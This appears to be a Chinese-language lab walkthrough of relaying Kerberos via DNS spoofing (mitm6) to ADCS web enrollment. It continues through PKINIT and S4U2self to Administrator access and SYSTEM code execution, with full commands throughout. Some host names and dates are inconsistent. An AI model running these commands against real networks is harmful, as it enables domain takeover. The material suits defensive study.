通过DNS进行Kerberos Relay

利用条件

一台Linux,同C段有一台域机器,能访问ADCS Web注册页面

漏洞存因

1.自 Windows Vista 以来的所有 Windows 都默认启用了IPV6,并且优先级比IPV4更高,每台机器都会定期请求DNS配置。

如果攻击者获取了一台linux权限,并在广播域内存在另外一台域机器,可以利用mitm6对其进行DNS欺骗,让域机器认定linux是自己的权威域名服务器。

2.AD中的 DNS 支持使用 Kerberos 在 DNS 上进行身份验证,用于此使具有动态地址的网络客户端的 DNS 记录与其当前 IP 地址保持同步:

1. 域内机器查询DNS中的SOA记录。
2. 域内DNS通常绑定在域控上,对查询进行回应。
3. 域机器请求对A记录进行动态更新。
4. 因为没有提供身份验证,DNS拒绝动态更新。
5. 客户端使用TKEY查询来协商经过身份验证的查询的密钥。
6. 服务器回答TKEY资源记录,完成身份验证。
7. 客户端再次发送动态更新,但现在伴随着一条TSIG记录,该记录是使用在步骤5和6中建立的密钥的签名。
8. 服务器更新其DNS记录。

第 5 步和第 6 步,包含 Kerberos 身份验证过程:

wireshark中提供直接将keytab 导入Kerberos,能将加密字段进行解密。

利用上述流程,mitm6 可以将自己宣传为 DNS 服务器,所以受害者将发送SOA到攻击者指定的假服务器,如果攻击者拒绝他们的动态更新,再使用 Kerberos 进行身份验证。

3.许多服务类实际上会隐式映射到 HOST 类(包括 DNS),因此当受害者请求 DNS 服务的票证时,实际上适用于具有 HOST SPN 的任何帐户。这是默认在域中的所有计算机帐户上设置的,因此可以针对在这些帐户下运行的任何服务。

4.在去年的关于ADCS利用的白皮书中,ESC8的利用涉及 NTLM 中继到证书服务的 HTTP 接口部分来颁发证书。该接口接受 NTLM 身份验证并没有强制验证签名, 因此可以将接收到的Kerberos 身份验证转发到 ADCS web页面来申请用户证书。

5.在RFC 4556 中定义了 PKINIT 为 Kerberos 的扩展协议,可通过X.509 证书用来获取 Kerberos 票据 。后续在ADCS web页面申请的证书可以转换为用户的TGT。

为什么不直接relay到ldap?

通常 DNS 服务器角色在域控上运行。因此DNS 服务的服务票证已经适用于在 DC 上运行的服务,因为它们使用相同的帐户,所以可以更改票证中的服务名称。这意味着攻击者可以将此票证中继到例如 LDAP。但是,如果仔看 TKEY 查询中的身份验证,会发现设置了请求完整性(签名)的标志。

这将自动触发 LDAP 签名,这会使整个攻击失败,因为如果没有在每条消息上提供有效的加密签名,之后我们就无法与 LDAP 交互。我们无法生成此签名,因为我们转发了身份验证并且实际上并不拥有解密服务票证和提取会话密钥所需的 Kerberos 密钥。

漏洞利用

总流程如下:

1.受害机器在同个广播域定期请求DHCPv6配置。

2.攻击者利用mitm6对受害者主机欺骗,指出自己的DNS是权威域名服务器。

3.受害者认定攻击者是权威域名服务器,向攻击者请求DNS动态更新。

4.更新被攻击者拒绝,需要让受害者进行身份验证。

5.受害者向KDC(域控)请求指定服务(DNS)的ST票据,将票据传给攻击者再次进行身份认证。

6.攻击者利用krbrelayx将ST relay到ADCS中的web页面申请受害者机器证书。

7.攻击者利用gettgtpkinit将上一步申请的证书转化为受害者机器的TGT,并通过gets4uticket进行S4Utoself模仿域管访问拿到受害者机器最高权限。

域名:wd.local

域控:WIN-6ERMGJ5ECLO.wd.local (192.168.3.1)

ADCS服务器: adcs.wd.local (192.168.3.103)

受害者(域内主机):win10.wd.local (192.168.3.108)

攻击者:192.168.3.100

受害机器在同个广播域定期请求DHCPv6配置。

攻击者运行的mitm6 告诉受害者他是权威DNS服务器。

mitm6 --domain wd.local --host-allowlist win10.wd.local --relay adcs.wd.local -v

当受害系统尝试执行 DNS 更新时,更新被攻击者拒绝,需要让受害者进行身份验证。

受害者向KDC(域控)请求指定服务(DNS)的ST票据,并再次请求更新。

将上一步生成的票据传给攻击者再次进行身份认证。

攻击者利用krbrelayx将ST relay到ADCS中的web页面申请受害者机器证书。

python3 krbrelayx.py --target <http://adcs.wd.local/certsrv/> -ip 192.168.3.100 --victim win10.wd.local --adcs --template Machine

ADCS 服务器使用 HTTP 返回200 响应,开始申请证书。

申请证书成功,返回win10机器帐户base64 cert。

利用gettgtpkinit将上一步申请的证书转化为受害者机器win10的TGT。

python3 gettgtpkinit.py -pfx-base64 $(cat cert.txt) wd.local/win10$ win10.ccache -dc-ip 192.168.3.1

通过gets4uticket将TGT进行S4Utoself模仿域管访问拿到受害者机器最高权限。

python3 gets4uticket.py kerberos+ccache://wd.local\\\\\\\\win10\\\\$:win10.ccache@WIN-6ERMGJ5ECL0.wd.local cifs/win10.wd.local@wd.local Administrator@wd.local admin.ccache

验证票据是否有效

通过使用smbexec.py进行验证

KRB5CCNAME=admin.ccache
python smbexec.py -k wd.local/Administrator@win10.wd.local -no-pass

总体利用

1.告诉受害者它应该用于 DNS 请求:
sudo mitm6 --domain redteam.lab --host-allowlist dmwin10.redteam.lab --relay AdcsMachine.redteam.lab -v

python3 krbrelayx.py --target http://AdcsMachine.redteam.lab/certsrv/ -ip 192.168.129.8 --victim dmwin10.redteam.lab --adcs --template Machine

2.gettgtpkinit.py 通过PKINITtools使用 dmwin10.redteam.lab 机器帐户证书获取 TGT:
python3 gettgtpkinit.py -pfx-base64 $(cat cert.txt) redteam.lab/dmwin10$ dmwin10.ccache -dc-ip 192.168.129.131

3.现在有了这个保存为 的 TGT, win10.ccache我们可以更进一步获取受害者系统上域管理员帐户的票证, Administrator@wd.local我们将其保存为 admin.ccache.
python3 gets4uticket.py kerberos+ccache://redteam.lab\\dmwin10\$:dmwin10.ccache@dc2.redteam.lab cifs/dmwin10.redteam.lab@redteam.lab Administrator@redteam.lab admin.ccache

4.现在我们有了域管理员的 kerberos 票证,让我们尝试将它与impacketsmbclient.py中的实用程序一起使用。请注意,此策略假定我们的受害者系统具有网络可访问的共享。win10.wd.local
KRB5CCNAME=admin.ccache 
python3 ~/in/impacket/examples/smbclient.py -k redteam.lab/Administrator@dmwin10.redteam.lab -no-pass
我们能够查看受保护 windows\system32\config  目录的内容,这是普通用户无法做到的。

5.沿着这些相同的思路,我们可以使用相同的票证通过使用 脚本在具有SYSTEM特权的受害机器上执行任意代码:smbexec.py
KRB5CCNAME=admin.ccache 
python3 ~/in/impacket/examples/smbexec.py -k redteam.lab/Administrator@dmwin10.redteam.lab -no-pass
  • Created 2022-10-22 12:52
  • Published 2022-02-25 14:47
  • Updated 2024-10-20 23:59